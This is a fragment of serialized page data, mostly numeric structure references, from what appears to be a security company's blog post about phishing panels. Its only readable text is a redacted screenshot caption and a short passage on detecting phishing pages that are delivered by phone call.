ue":26454,"nodeType":864},{},[],{"data":53141,"content":53144,"nodeType":996},{"target":53142},{"sys":53143},{"id":26459,"type":1001,"linkType":1002},[],{"data":53146,"content":53149,"nodeType":996},{"target":53147},{"sys":53148},{"id":26465,"type":1001,"linkType":1002},[],{"data":53151,"content":53152,"nodeType":860},{},[53153],{"data":53154,"marks":53155,"value":21,"nodeType":864},{},[],{"data":53157,"content":53160,"nodeType":996},{"target":53158},{"sys":53159},{"id":26477,"type":1001,"linkType":1002},[],{"data":53162,"content":53163,"nodeType":1312},{},[53164],{"data":53165,"marks":53166,"value":26486,"nodeType":864},{},[53167],{"type":899},{"data":53169,"content":53170,"nodeType":860},{},[53171],{"data":53172,"marks":53173,"value":26493,"nodeType":864},{},[],{"data":53175,"content":53176,"nodeType":860},{},[53177],{"data":53178,"marks":53179,"value":26500,"nodeType":864},{},[],{"data":53181,"content":53182,"nodeType":941},{},[53183,53196,53209,53222],{"data":53184,"content":53185,"nodeType":945},{},[53186],{"data":53187,"content":53188,"nodeType":860},{},[53189,53193],{"data":53190,"marks":53191,"value":26514,"nodeType":864},{},[53192],{"type":899},{"data":53194,"marks":53195,"value":26518,"nodeType":864},{},[],{"data":53197,"content":53198,"nodeType":945},{},[53199],{"data":53200,"content":53201,"nodeType":860},{},[53202,53206],{"data":53203,"marks":53204,"value":26529,"nodeType":864},{},[53205],{"type":899},{"data":53207,"marks":53208,"value":26533,"nodeType":864},{},[],{"data":53210,"content":53211,"nodeType":945},{},[53212],{"data":53213,"content":53214,"nodeType":860},{},[53215,53219],{"data":53216,"marks":53217,"value":26544,"nodeType":864},{},[53218],{"type":899},{"data":53220,"marks":53221,"value":26548,"nodeType":864},{},[],{"data":53223,"content":53224,"nodeType":945},{},[53225],{"data":53226,"content":53227,"nodeType":860},{},[53228,53232],{"data":53229,"marks":53230,"value":26559,"nodeType":864},{},[53231],{"type":899},{"data":53233,"marks":53234,"value":26563,"nodeType":864},{},[],{"data":53236,"content":53237,"nodeType":860},{},[53238],{"data":53239,"marks":53240,"value":26570,"nodeType":864},{},[],{"data":53242,"content":53245,"nodeType":996},{"target":53243},{"sys":53244},{"id":26575,"type":1001,"linkType":1002},[],{"data":53247,"content":53250,"nodeType":996},{"target":53248},{"sys":53249},{"id":26581,"type":1001,"linkType":1002},[],{"data":53252,"content":53253,"nodeType":1312},{},[53254],{"data":53255,"marks":53256,"value":26590,"nodeType":864},{},[53257],{"type":899},{"data":53259,"content":53260,"nodeType":860},{},[53261],{"data":53262,"marks":53263,"value":26597,"nodeType":864},{},[],{"data":53265,"content":53266,"nodeType":860},{},[53267],{"data":53268,"marks":53269,"value":26604,"nodeType":864},{},[],{"data":53271,"content":53272,"nodeType":1312},{},[53273],{"data":53274,"marks":53275,"value":26612,"nodeType":864},{},[53276],{"type":899},{"data":53278,"content":53279,"nodeType":860},{},[53280],{"data":53281,"marks":53282,"value":26619,"nodeType":864},{},[],{"data":53284,"content":53285,"nodeType":941},{},[53286,53299],{"data":53287,"content":53288,"nodeType":945},{},[53289],{"data":53290,"content":53291,"nodeType":860},{},[53292,53296],{"data":53293,"marks":53294,"value":26633,"nodeType":864},{},[53295],{"type":899},{"data":53297,"marks":53298,"value":26637,"nodeType":864},{},[],{"data":53300,"content":53301,"nodeType":945},{},[53302],{"data":53303,"content":53304,"nodeType":860},{},[53305,53309],{"data":53306,"marks":53307,"value":26648,"nodeType":864},{},[53308],{"type":899},{"data":53310,"marks":53311,"value":26652,"nodeType":864},{},[],{"data":53313,"content":53314,"nodeType":860},{},[53315],{"data":53316,"marks":53317,"value":26659,"nodeType":864},{},[],{"data":53319,"content":53322,"nodeType":996},{"target":53320},{"sys":53321},{"id":26664,"type":1001,"linkType":1002},[],{"data":53324,"content":53325,"nodeType":860},{},[53326],{"data":53327,"marks":53328,"value":26672,"nodeType":864},{},[],{"data":53330,"content":53331,"nodeType":941},{},[53332,53345,53358],{"data":53333,"content":53334,"nodeType":945},{},[53335],{"data":53336,"content":53337,"nodeType":860},{},[53338,53342],{"data":53339,"marks":53340,"value":26686,"nodeType":864},{},[53341],{"type":899},{"data":53343,"marks":53344,"value":26690,"nodeType":864},{},[],{"data":53346,"content":53347,"nodeType":945},{},[53348],{"data":53349,"content":53350,"nodeType":860},{},[53351,53355],{"data":53352,"marks":53353,"value":26701,"nodeType":864},{},[53354],{"type":899},{"data":53356,"marks":53357,"value":26705,"nodeType":864},{},[],{"data":53359,"content":53360,"nodeType":945},{},[53361],{"data":53362,"content":53363,"nodeType":860},{},[53364,53368],{"data":53365,"marks":53366,"value":26716,"nodeType":864},{},[53367],{"type":899},{"data":53369,"marks":53370,"value":26720,"nodeType":864},{},[],{"data":53372,"content":53373,"nodeType":860},{},[53374],{"data":53375,"marks":53376,"value":26727,"nodeType":864},{},[],{"data":53378,"content":53379,"nodeType":1312},{},[53380],{"data":53381,"marks":53382,"value":26735,"nodeType":864},{},[53383],{"type":899},{"data":53385,"content":53386,"nodeType":860},{},[53387],{"data":53388,"marks":53389,"value":26742,"nodeType":864},{},[],{"data":53391,"content":53394,"nodeType":996},{"target":53392},{"sys":53393},{"id":26747,"type":1001,"linkType":1002},[],{"data":53396,"content":53397,"nodeType":860},{},[53398],{"data":53399,"marks":53400,"value":26755,"nodeType":864},{},[],{"data":53402,"content":53403,"nodeType":860},{},[53404],{"data":53405,"marks":53406,"value":26762,"nodeType":864},{},[],{"data":53408,"content":53411,"nodeType":996},{"target":53409},{"sys":53410},{"id":26767,"type":1001,"linkType":1002},[],{"data":53413,"content":53414,"nodeType":860},{},[53415],{"data":53416,"marks":53417,"value":26775,"nodeType":864},{},[],{"data":53419,"content":53420,"nodeType":941},{},[53421,53434],{"data":53422,"content":53423,"nodeType":945},{},[53424],{"data":53425,"content":53426,"nodeType":860},{},[53427,53431],{"data":53428,"marks":53429,"value":26789,"nodeType":864},{},[53430],{"type":899},{"data":53432,"marks":53433,"value":26793,"nodeType":864},{},[],{"data":53435,"content":53436,"nodeType":945},{},[53437],{"data":53438,"content":53439,"nodeType":860},{},[53440,53444],{"data":53441,"marks":53442,"value":26804,"nodeType":864},{},[53443],{"type":899},{"data":53445,"marks":53446,"value":26808,"nodeType":864},{},[],{"data":53448,"content":53449,"nodeType":860},{},[53450],{"data":53451,"marks":53452,"value":26815,"nodeType":864},{},[],{"data":53454,"content":53457,"nodeType":996},{"target":53455},{"sys":53456},{"id":26820,"type":1001,"linkType":1002},[],{"data":53459,"content":53460,"nodeType":1005},{},[],{"data":53462,"content":53463,"nodeType":1009},{},[53464],{"data":53465,"marks":53466,"value":26832,"nodeType":864},{},[53467],{"type":899},{"data":53469,"content":53470,"nodeType":860},{},[53471],{"data":53472,"marks":53473,"value":26839,"nodeType":864},{},[],{"data":53475,"content":53476,"nodeType":860},{},[53477],{"data":53478,"marks":53479,"value":26846,"nodeType":864},{},[],{"data":53481,"content":53482,"nodeType":860},{},[53483],{"data":53484,"marks":53485,"value":26853,"nodeType":864},{},[],{"data":53487,"content":53490,"nodeType":996},{"target":53488},{"sys":53489},{"id":7797,"type":1001,"linkType":1002},[],{"data":53492,"content":53493,"nodeType":860},{},[53494],{"data":53495,"marks":53496,"value":26865,"nodeType":864},{},[],{"data":53498,"content":53499,"nodeType":860},{},[53500],{"data":53501,"marks":53502,"value":26872,"nodeType":864},{},[],{"data":53504,"content":53507,"nodeType":996},{"target":53505},{"sys":53506},{"id":26877,"type":1001,"linkType":1002},[],{"data":53509,"content":53510,"nodeType":860},{},[53511],{"data":53512,"marks":53513,"value":26885,"nodeType":864},{},[],{"data":53515,"content":53518,"nodeType":996},{"target":53516},{"sys":53517},{"id":26890,"type":1001,"linkType":1002},[],{"data":53520,"content":53521,"nodeType":860},{},[53522],{"data":53523,"marks":53524,"value":26898,"nodeType":864},{},[],{"data":53526,"content":53529,"nodeType":996},{"target":53527},{"sys":53528},{"id":26903,"type":1001,"linkType":1002},[],{"data":53531,"content":53532,"nodeType":860},{},[53533],{"data":53534,"marks":53535,"value":26911,"nodeType":864},{},[],{"data":53537,"content":53538,"nodeType":860},{},[53539],{"data":53540,"marks":53541,"value":26918,"nodeType":864},{},[],{"data":53543,"content":53544,"nodeType":1005},{},[],{"data":53546,"content":53547,"nodeType":1009},{},[53548],{"data":53549,"marks":53550,"value":26929,"nodeType":864},{},[53551],{"type":899},{"data":53553,"content":53554,"nodeType":860},{},[53555,53558,53562],{"data":53556,"marks":53557,"value":26936,"nodeType":864},{},[],{"data":53559,"marks":53560,"value":26941,"nodeType":864},{},[53561],{"type":899},{"data":53563,"marks":53564,"value":26945,"nodeType":864},{},[],{"data":53566,"content":53567,"nodeType":1312},{},[53568],{"data":53569,"marks":53570,"value":26952,"nodeType":864},{},[],{"data":53572,"content":53573,"nodeType":860},{},[53574,53577,53584],{"data":53575,"marks":53576,"value":26959,"nodeType":864},{},[],{"data":53578,"content":53579,"nodeType":883},{"uri":26962},[53580],{"data":53581,"marks":53582,"value":26968,"nodeType":864},{},[53583],{"type":1455},{"data":53585,"marks":53586,"value":26972,"nodeType":864},{},[],{"data":53588,"content":53589,"nodeType":4845},{},[53590,53613,53640,53661,53706,53745,53766,53787],{"data":53591,"content":53592,"nodeType":4581},{},[53593,53603],{"data":53594,"content":53595,"nodeType":4569},{},[53596],{"data":53597,"content":53598,"nodeType":860},{},[53599],{"data":53600,"marks":53601,"value":26989,"nodeType":864},{},[53602],{"type":899},{"data":53604,"content":53605,"nodeType":4569},{},[53606],{"data":53607,"content":53608,"nodeType":860},{},[53609],{"data":53610,"marks":53611,"value":26486,"nodeType":864},{},[53612],{"type":899},{"data":53614,"content":53615,"nodeType":4581},{},[53616,53625],{"data":53617,"content":53618,"nodeType":4569},{},[53619],{"data":53620,"content":53621,"nodeType":860},{},[53622],{"data":53623,"marks":53624,"value":26514,"nodeType":864},{},[],{"data":53626,"content":53627,"nodeType":4569},{},[53628,53634],{"data":53629,"content":53630,"nodeType":860},{},[53631],{"data":53632,"marks":53633,"value":27021,"nodeType":864},{},[],{"data":53635,"content":53636,"nodeType":860},{},[53637],{"data":53638,"marks":53639,"value":27028,"nodeType":864},{},[],{"data":53641,"content":53642,"nodeType":4581},{},[53643,53652],{"data":53644,"content":53645,"nodeType":4569},{},[53646],{"data":53647,"content":53648,"nodeType":860},{},[53649],{"data":53650,"marks":53651,"value":27041,"nodeType":864},{},[],{"data":53653,"content":53654,"nodeType":4569},{},[53655],{"data":53656,"content":53657,"nodeType":860},{},[53658],{"data":53659,"marks":53660,"value":27051,"nodeType":864},{},[],{"data":53662,"content":53663,"nodeType":4581},{},[53664,53673],{"data":53665,"content":53666,"nodeType":4569},{},[53667],{"data":53668,"content":53669,"nodeType":860},{},[53670],{"data":53671,"marks":53672,"value":27064,"nodeType":864},{},[],{"data":53674,"content":53675,"nodeType":4569},{},[53676,53682,53688,53694,53700],{"data":53677,"content":53678,"nodeType":860},{},[53679],{"data":53680,"marks":53681,"value":27074,"nodeType":864},{},[],{"data":53683,"content":53684,"nodeType":860},{},[53685],{"data":53686,"marks":53687,"value":27081,"nodeType":864},{},[],{"data":53689,"content":53690,"nodeType":860},{},[53691],{"data":53692,"marks":53693,"value":27088,"nodeType":864},{},[],{"data":53695,"content":53696,"nodeType":860},{},[53697],{"data":53698,"marks":53699,"value":27095,"nodeType":864},{},[],{"data":53701,"content":53702,"nodeType":860},{},[53703],{"data":53704,"marks":53705,"value":27102,"nodeType":864},{},[],{"data":53707,"content":53708,"nodeType":4581},{},[53709,53718],{"data":53710,"content":53711,"nodeType":4569},{},[53712],{"data":53713,"content":53714,"nodeType":860},{},[53715],{"data":53716,"marks":53717,"value":27115,"nodeType":864},{},[],{"data":53719,"content":53720,"nodeType":4569},{},[53721,53727,53733,53739],{"data":53722,"content":53723,"nodeType":860},{},[53724],{"data":53725,"marks":53726,"value":27125,"nodeType":864},{},[],{"data":53728,"content":53729,"nodeType":860},{},[53730],{"data":53731,"marks":53732,"value":27132,"nodeType":864},{},[],{"data":53734,"content":53735,"nodeType":860},{},[53736],{"data":53737,"marks":53738,"value":27139,"nodeType":864},{},[],{"data":53740,"content":53741,"nodeType":860},{},[53742],{"data":53743,"marks":53744,"value":27146,"nodeType":864},{},[],{"data":53746,"content":53747,"nodeType":4581},{},[53748,53757],{"data":53749,"content":53750,"nodeType":4569},{},[53751],{"data":53752,"content":53753,"nodeType":860},{},[53754],{"data":53755,"marks":53756,"value":27159,"nodeType":864},{},[],{"data":53758,"content":53759,"nodeType":4569},{},[53760],{"data":53761,"content":53762,"nodeType":860},{},[53763],{"data":53764,"marks":53765,"value":27169,"nodeType":864},{},[],{"data":53767,"content":53768,"nodeType":4581},{},[53769,53778],{"data":53770,"content":53771,"nodeType":4569},{},[53772],{"data":53773,"content":53774,"nodeType":860},{},[53775],{"data":53776,"marks":53777,"value":27182,"nodeType":864},{},[],{"data":53779,"content":53780,"nodeType":4569},{},[53781],{"data":53782,"content":53783,"nodeType":860},{},[53784],{"data":53785,"marks":53786,"value":27192,"nodeType":864},{},[],{"data":53788,"content":53789,"nodeType":4581},{},[53790,53799],{"data":53791,"content":53792,"nodeType":4569},{},[53793],{"data":53794,"content":53795,"nodeType":860},{},[53796],{"data":53797,"marks":53798,"value":27205,"nodeType":864},{},[],{"data":53800,"content":53801,"nodeType":4569},{},[53802],{"data":53803,"content":53804,"nodeType":860},{},[53805],{"data":53806,"marks":53807,"value":27215,"nodeType":864},{},[],{"data":53809,"content":53810,"nodeType":1312},{},[53811],{"data":53812,"marks":53813,"value":27222,"nodeType":864},{},[],{"data":53815,"content":53816,"nodeType":860},{},[53817,53820,53827,53830,53837],{"data":53818,"marks":53819,"value":27229,"nodeType":864},{},[],{"data":53821,"content":53822,"nodeType":883},{"uri":26962},[53823],{"data":53824,"marks":53825,"value":27237,"nodeType":864},{},[53826],{"type":1455},{"data":53828,"marks":53829,"value":1774,"nodeType":864},{},[],{"data":53831,"content":53832,"nodeType":883},{"uri":27243},[53833],{"data":53834,"marks":53835,"value":27249,"nodeType":864},{},[53836],{"type":1455},{"data":53838,"marks":53839,"value":27253,"nodeType":864},{},[],{"data":53841,"content":53842,"nodeType":4845},{},[53843,53866,53905,53926,53959,53998,54019,54040],{"data":53844,"content":53845,"nodeType":4581},{},[53846,53856],{"data":53847,"content":53848,"nodeType":4569},{},[53849],{"data":53850,"content":53851,"nodeType":860},{},[53852],{"data":53853,"marks":53854,"value":26989,"nodeType":864},{},[53855],{"type":899},{"data":53857,"content":53858,"nodeType":4569},{},[53859],{"data":53860,"content":53861,"nodeType":860},{},[53862],{"data":53863,"marks":53864,"value":26612,"nodeType":864},{},[53865],{"type":899},{"data":53867,"content":53868,"nodeType":4581},{},[53869,53878],{"data":53870,"content":53871,"nodeType":4569},{},[53872],{"data":53873,"content":53874,"nodeType":860},{},[53875],{"data":53876,"marks":53877,"value":26514,"nodeType":864},{},[],{"data":53879,"content":53880,"nodeType":4569},{},[53881,53887,53893,53899],{"data":53882,"content":53883,"nodeType":860},{},[53884],{"data":53885,"marks":53886,"value":27301,"nodeType":864},{},[],{"data":53888,"content":53889,"nodeType":860},{},[53890],{"data":53891,"marks":53892,"value":27308,"nodeType":864},{},[],{"data":53894,"content":53895,"nodeType":860},{},[53896],{"data":53897,"marks":53898,"value":27315,"nodeType":864},{},[],{"data":53900,"content":53901,"nodeType":860},{},[53902],{"data":53903,"marks":53904,"value":27322,"nodeType":864},{},[],{"data":53906,"content":53907,"nodeType":4581},{},[53908,53917],{"data":53909,"content":53910,"nodeType":4569},{},[53911],{"data":53912,"content":53913,"nodeType":860},{},[53914],{"data":53915,"marks":53916,"value":27041,"nodeType":864},{},[],{"data":53918,"content":53919,"nodeType":4569},{},[53920],{"data":53921,"content":53922,"nodeType":860},{},[53923],{"data":53924,"marks":53925,"value":27344,"nodeType":864},{},[],{"data":53927,"content":53928,"nodeType":4581},{},[53929,53938],{"data":53930,"content":53931,"nodeType":4569},{},[53932],{"data":53933,"content":53934,"nodeType":860},{},[53935],{"data":53936,"marks":53937,"value":27064,"nodeType":864},{},[],{"data":53939,"content":53940,"nodeType":4569},{},[53941,53947,53953],{"data":53942,"content":53943,"nodeType":860},{},[53944],{"data":53945,"marks":53946,"value":27366,"nodeType":864},{},[],{"data":53948,"content":53949,"nodeType":860},{},[53950],{"data":53951,"marks":53952,"value":27373,"nodeType":864},{},[],{"data":53954,"content":53955,"nodeType":860},{},[53956],{"data":53957,"marks":53958,"value":27102,"nodeType":864},{},[],{"data":53960,"content":53961,"nodeType":4581},{},[53962,53971],{"data":53963,"content":53964,"nodeType":4569},{},[53965],{"data":53966,"content":53967,"nodeType":860},{},[53968],{"data":53969,"marks":53970,"value":27115,"nodeType":864},{},[],{"data":53972,"content":53973,"nodeType":4569},{},[53974,53980,53986,53992],{"data":53975,"content":53976,"nodeType":860},{},[53977],{"data":53978,"marks":53979,"value":27401,"nodeType":864},{},[],{"data":53981,"content":53982,"nodeType":860},{},[53983],{"data":53984,"marks":53985,"value":27408,"nodeType":864},{},[],{"data":53987,"content":53988,"nodeType":860},{},[53989],{"data":53990,"marks":53991,"value":27415,"nodeType":864},{},[],{"data":53993,"content":53994,"nodeType":860},{},[53995],{"data":53996,"marks":53997,"value":27422,"nodeType":864},{},[],{"data":53999,"content":54000,"nodeType":4581},{},[54001,54010],{"data":54002,"content":54003,"nodeType":4569},{},[54004],{"data":54005,"content":54006,"nodeType":860},{},[54007],{"data":54008,"marks":54009,"value":27159,"nodeType":864},{},[],{"data":54011,"content":54012,"nodeType":4569},{},[54013],{"data":54014,"content":54015,"nodeType":860},{},[54016],{"data":54017,"marks":54018,"value":27444,"nodeType":864},{},[],{"data":54020,"content":54021,"nodeType":4581},{},[54022,54031],{"data":54023,"content":54024,"nodeType":4569},{},[54025],{"data":54026,"content":54027,"nodeType":860},{},[54028],{"data":54029,"marks":54030,"value":27182,"nodeType":864},{},[],{"data":54032,"content":54033,"nodeType":4569},{},[54034],{"data":54035,"content":54036,"nodeType":860},{},[54037],{"data":54038,"marks":54039,"value":27466,"nodeType":864},{},[],{"data":54041,"content":54042,"nodeType":4581},{},[54043,54052],{"data":54044,"content":54045,"nodeType":4569},{},[54046],{"data":54047,"content":54048,"nodeType":860},{},[54049],{"data":54050,"marks":54051,"value":27205,"nodeType":864},{},[],{"data":54053,"content":54054,"nodeType":4569},{},[54055],{"data":54056,"content":54057,"nodeType":860},{},[54058],{"data":54059,"marks":54060,"value":27488,"nodeType":864},{},[],{"data":54062,"content":54063,"nodeType":1312},{},[54064],{"data":54065,"marks":54066,"value":27495,"nodeType":864},{},[],{"data":54068,"content":54069,"nodeType":860},{},[54070],{"data":54071,"marks":54072,"value":27502,"nodeType":864},{},[],{"data":54074,"content":54075,"nodeType":4845},{},[54076,54099,54120,54141,54162,54201,54222,54243],{"data":54077,"content":54078,"nodeType":4581},{},[54079,54089],{"data":54080,"content":54081,"nodeType":4569},{},[54082],{"data":54083,"content":54084,"nodeType":860},{},[54085],{"data":54086,"marks":54087,"value":26989,"nodeType":864},{},[54088],{"type":899},{"data":54090,"content":54091,"nodeType":4569},{},[54092],{"data":54093,"content":54094,"nodeType":860},{},[54095],{"data":54096,"marks":54097,"value":27529,"nodeType":864},{},[54098],{"type":899},{"data":54100,"content":54101,"nodeType":4581},{},[54102,54111],{"data":54103,"content":54104,"nodeType":4569},{},[54105],{"data":54106,"content":54107,"nodeType":860},{},[54108],{"data":54109,"marks":54110,"value":26514,"nodeType":864},{},[],{"data":54112,"content":54113,"nodeType":4569},{},[54114],{"data":54115,"content":54116,"nodeType":860},{},[54117],{"data":54118,"marks":54119,"value":27551,"nodeType":864},{},[],{"data":54121,"content":54122,"nodeType":4581},{},[54123,54132],{"data":54124,"content":54125,"nodeType":4569},{},[54126],{"data":54127,"content":54128,"nodeType":860},{},[54129],{"data":54130,"marks":54131,"value":27041,"nodeType":864},{},[],{"data":54133,"content":54134,"nodeType":4569},{},[54135],{"data":54136,"content":54137,"nodeType":860},{},[54138],{"data":54139,"marks":54140,"value":27573,"nodeType":864},{},[],{"data":54142,"content":54143,"nodeType":4581},{},[54144,54153],{"data":54145,"content":54146,"nodeType":4569},{},[54147],{"data":54148,"content":54149,"nodeType":860},{},[54150],{"data":54151,"marks":54152,"value":27064,"nodeType":864},{},[],{"data":54154,"content":54155,"nodeType":4569},{},[54156],{"data":54157,"content":54158,"nodeType":860},{},[54159],{"data":54160,"marks":54161,"value":27595,"nodeType":864},{},[],{"data":54163,"content":54164,"nodeType":4581},{},[54165,54174],{"data":54166,"content":54167,"nodeType":4569},{},[54168],{"data":54169,"content":54170,"nodeType":860},{},[54171],{"data":54172,"marks":54173,"value":27115,"nodeType":864},{},[],{"data":54175,"content":54176,"nodeType":4569},{},[54177,54183,54189,54195],{"data":54178,"content":54179,"nodeType":860},{},[54180],{"data":54181,"marks":54182,"value":27617,"nodeType":864},{},[],{"data":54184,"content":54185,"nodeType":860},{},[54186],{"data":54187,"marks":54188,"value":27624,"nodeType":864},{},[],{"data":54190,"content":54191,"nodeType":860},{},[54192],{"data":54193,"marks":54194,"value":27631,"nodeType":864},{},[],{"data":54196,"content":54197,"nodeType":860},{},[54198],{"data":54199,"marks":54200,"value":27638,"nodeType":864},{},[],{"data":54202,"content":54203,"nodeType":4581},{},[54204,54213],{"data":54205,"content":54206,"nodeType":4569},{},[54207],{"data":54208,"content":54209,"nodeType":860},{},[54210],{"data":54211,"marks":54212,"value":27159,"nodeType":864},{},[],{"data":54214,"content":54215,"nodeType":4569},{},[54216],{"data":54217,"content":54218,"nodeType":860},{},[54219],{"data":54220,"marks":54221,"value":27444,"nodeType":864},{},[],{"data":54223,"content":54224,"nodeType":4581},{},[54225,54234],{"data":54226,"content":54227,"nodeType":4569},{},[54228],{"data":54229,"content":54230,"nodeType":860},{},[54231],{"data":54232,"marks":54233,"value":27182,"nodeType":864},{},[],{"data":54235,"content":54236,"nodeType":4569},{},[54237],{"data":54238,"content":54239,"nodeType":860},{},[54240],{"data":54241,"marks":54242,"value":27681,"nodeType":864},{},[],{"data":54244,"content":54245,"nodeType":4581},{},[54246,54255],{"data":54247,"content":54248,"nodeType":4569},{},[54249],{"data":54250,"content":54251,"nodeType":860},{},[54252],{"data":54253,"marks":54254,"value":27205,"nodeType":864},{},[],{"data":54256,"content":54257,"nodeType":4569},{},[54258],{"data":54259,"content":54260,"nodeType":860},{},[54261],{"data":54262,"marks":54263,"value":27703,"nodeType":864},{},[],{"data":54265,"content":54266,"nodeType":1312},{},[54267],{"data":54268,"marks":54269,"value":27710,"nodeType":864},{},[],{"data":54271,"content":54272,"nodeType":4845},{},[54273,54296,54317,54338,54359,54386,54407,54428],{"data":54274,"content":54275,"nodeType":4581},{},[54276,54286],{"data":54277,"content":54278,"nodeType":4569},{},[54279],{"data":54280,"content":54281,"nodeType":860},{},[54282],{"data":54283,"marks":54284,"value":26989,"nodeType":864},{},[54285],{"type":899},{"data":54287,"content":54288,"nodeType":4569},{},[54289],{"data":54290,"content":54291,"nodeType":860},{},[54292],{"data":54293,"marks":54294,"value":27737,"nodeType":864},{},[54295],{"type":899},{"data":54297,"content":54298,"nodeType":4581},{},[54299,54308],{"data":54300,"content":54301,"nodeType":4569},{},[54302],{"data":54303,"content":54304,"nodeType":860},{},[54305],{"data":54306,"marks":54307,"value":26514,"nodeType":864},{},[],{"data":54309,"content":54310,"nodeType":4569},{},[54311],{"data":54312,"content":54313,"nodeType":860},{},[54314],{"data":54315,"marks":54316,"value":27759,"nodeType":864},{},[],{"data":54318,"content":54319,"nodeType":4581},{},[54320,54329],{"data":54321,"content":54322,"nodeType":4569},{},[54323],{"data":54324,"content":54325,"nodeType":860},{},[54326],{"data":54327,"marks":54328,"value":27041,"nodeType":864},{},[],{"data":54330,"content":54331,"nodeType":4569},{},[54332],{"data":54333,"content":54334,"nodeType":860},{},[54335],{"data":54336,"marks":54337,"value":27781,"nodeType":864},{},[],{"data":54339,"content":54340,"nodeType":4581},{},[54341,54350],{"data":54342,"content":54343,"nodeType":4569},{},[54344],{"data":54345,"content":54346,"nodeType":860},{},[54347],{"data":54348,"marks":54349,"value":27064,"nodeType":864},{},[],{"data":54351,"content":54352,"nodeType":4569},{},[54353],{"data":54354,"content":54355,"nodeType":860},{},[54356],{"data":54357,"marks":54358,"value":27803,"nodeType":864},{},[],{"data":54360,"content":54361,"nodeType":4581},{},[54362,54371],{"data":54363,"content":54364,"nodeType":4569},{},[54365],{"data":54366,"content":54367,"nodeType":860},{},[54368],{"data":54369,"marks":54370,"value":27115,"nodeType":864},{},[],{"data":54372,"content":54373,"nodeType":4569},{},[54374,54380],{"data":54375,"content":54376,"nodeType":860},{},[54377],{"data":54378,"marks":54379,"value":27825,"nodeType":864},{},[],{"data":54381,"content":54382,"nodeType":860},{},[54383],{"data":54384,"marks":54385,"value":27832,"nodeType":864},{},[],{"data":54387,"content":54388,"nodeType":4581},{},[54389,54398],{"data":54390,"content":54391,"nodeType":4569},{},[54392],{"data":54393,"content":54394,"nodeType":860},{},[54395],{"data":54396,"marks":54397,"value":27159,"nodeType":864},{},[],{"data":54399,"content":54400,"nodeType":4569},{},[54401],{"data":54402,"content":54403,"nodeType":860},{},[54404],{"data":54405,"marks":54406,"value":27169,"nodeType":864},{},[],{"data":54408,"content":54409,"nodeType":4581},{},[54410,54419],{"data":54411,"content":54412,"nodeType":4569},{},[54413],{"data":54414,"content":54415,"nodeType":860},{},[54416],{"data":54417,"marks":54418,"value":27182,"nodeType":864},{},[],{"data":54420,"content":54421,"nodeType":4569},{},[54422],{"data":54423,"content":54424,"nodeType":860},{},[54425],{"data":54426,"marks":54427,"value":27681,"nodeType":864},{},[],{"data":54429,"content":54430,"nodeType":4581},{},[54431,54440],{"data":54432,"content":54433,"nodeType":4569},{},[54434],{"data":54435,"content":54436,"nodeType":860},{},[54437],{"data":54438,"marks":54439,"value":27205,"nodeType":864},{},[],{"data":54441,"content":54442,"nodeType":4569},{},[54443],{"data":54444,"content":54445,"nodeType":860},{},[54446],{"data":54447,"marks":54448,"value":27703,"nodeType":864},{},[],{"data":54450,"content":54451,"nodeType":1005},{},[],{"data":54453,"content":54454,"nodeType":1009},{},[54455],{"data":54456,"marks":54457,"value":27906,"nodeType":864},{},[54458],{"type":899},{"data":54460,"content":54461,"nodeType":860},{},[54462],{"data":54463,"marks":54464,"value":27913,"nodeType":864},{},[],{"data":54466,"content":54467,"nodeType":860},{},[54468],{"data":54469,"marks":54470,"value":27920,"nodeType":864},{},[],{"data":54472,"content":54473,"nodeType":860},{},[54474,54478],{"data":54475,"marks":54476,"value":27928,"nodeType":864},{},[54477],{"type":899},{"data":54479,"marks":54480,"value":27932,"nodeType":864},{},[],{"data":54482,"content":54483,"nodeType":1005},{},[],{"data":54485,"content":54486,"nodeType":1009},{},[54487],{"data":54488,"marks":54489,"value":7238,"nodeType":864},{},[54490],{"type":899},{"data":54492,"content":54493,"nodeType":860},{},[54494,54497,54503],{"data":54495,"marks":54496,"value":27949,"nodeType":864},{},[],{"data":54498,"content":54499,"nodeType":883},{"uri":7248},[54500],{"data":54501,"marks":54502,"value":7253,"nodeType":864},{},[],{"data":54504,"marks":54505,"value":27959,"nodeType":864},{},[],{"data":54507,"content":54508,"nodeType":860},{},[54509,54512,54518],{"data":54510,"marks":54511,"value":21,"nodeType":864},{},[],{"data":54513,"content":54514,"nodeType":883},{"uri":27968},[54515],{"data":54516,"marks":54517,"value":27973,"nodeType":864},{},[],{"data":54519,"marks":54520,"value":21,"nodeType":864},{},[],{"data":54522,"content":54523,"nodeType":860},{},[54524],{"data":54525,"marks":54526,"value":7196,"nodeType":864},{},[54527],{"type":899},{"data":54529,"content":54530,"nodeType":1005},{},[],{"data":54532,"content":54533,"nodeType":1009},{},[54534],{"data":54535,"marks":54536,"value":3578,"nodeType":864},{},[54537],{"type":899},{"data":54539,"content":54540,"nodeType":860},{},[54541,54544,54550],{"data":54542,"marks":54543,"value":28000,"nodeType":864},{},[],{"data":54545,"content":54546,"nodeType":883},{"uri":1700},[54547],{"data":54548,"marks":54549,"value":2715,"nodeType":864},{},[],{"data":54551,"marks":54552,"value":2719,"nodeType":864},{},[],{"entries":54554},{"hyperlink":54555,"inline":54556,"block":54557},[],[],[54558,54565,54590,54616,54630,54637,54642,54686,54692,54698,54712,54718,54725,54731,54734,54741,54747],{"sys":54559,"__typename":1724,"title":54560,"caption":54561,"layoutMode":59,"file":54562},{"id":26176},"One example of a deployment portal identified Push that is currently in active use (redacted).","One example of a deployment portal identified by Push that is currently in active use (redacted).",{"url":54563,"width":1736,"height":54564},"https://images.ctfassets.net/y1cdw1ablpvd/68nyea8Rava8TWxoodHhM7/ca0a81e683c541b969703c22a3f2b992/image4.png",1124,{"sys":54566,"__typename":1740,"content":54567,"name":54589,"title":59},{"id":26194},{"json":54568},{"nodeType":856,"data":54569,"content":54570},{},[54571,54578],{"nodeType":860,"data":54572,"content":54573},{},[54574],{"nodeType":864,"value":54575,"marks":54576,"data":54577},"It’s easier than ever for attackers to spin up and tear down their phishing infrastructure by abusing a range of legitimate services. This is why we’re focused on detecting the actual malicious page at the end of the chain, regardless of the hosting, infrastructure, or delivery vector.",[],{},{"nodeType":860,"data":54579,"content":54580},{},[54581,54586],{"nodeType":864,"value":54582,"marks":54583,"data":54585},"This is extra useful in this case when we consider that a phone call is the delivery vector — not something that typically email-based phishing controls would be able to intercept",[54584],{"type":899},{},{"nodeType":864,"value":2924,"marks":54587,"data":54588},[],{},"Phishing Panel Blog 